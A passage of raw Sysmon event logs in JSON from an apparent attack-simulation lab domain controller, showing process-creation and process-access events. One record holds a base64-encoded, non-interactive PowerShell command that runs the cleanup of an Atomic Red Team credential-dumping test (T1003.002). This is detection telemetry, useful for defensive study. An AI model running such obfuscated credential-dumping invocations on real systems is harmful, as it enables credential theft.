11:56:35.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5744,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.780\r\nProcessGuid: {90617006-4173-5F2D-0000-0010B5BD0800}\r\nProcessId: 888\r\nImage: C:\\Windows\\System32\\HOSTNAME.EXE\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Hostname APP\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: hostname.exe\r\nCommandLine: \"C:\\Windows\\system32\\HOSTNAME.EXE\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E\r\nParentProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nParentProcessId: 2512\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.780","ProcessGuid":"{90617006-4173-5F2D-0000-0010B5BD0800}","Image":"C:\\Windows\\System32\\HOSTNAME.EXE","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Hostname APP","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"hostname.exe","CommandLine":"\"C:\\Windows\\system32\\HOSTNAME.EXE\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E","ParentProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","ParentProcessId":"2512","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5745,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010B5BD0800}\r\nTargetProcessId: 888\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4d04f57b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0d39|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f08d5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010B5BD0800}","TargetProcessId":"888","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4d04f57b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0d39|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f08d5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5746,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010B5BD0800}\r\nTargetProcessId: 888\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010B5BD0800}","TargetProcessId":"888","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5747,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 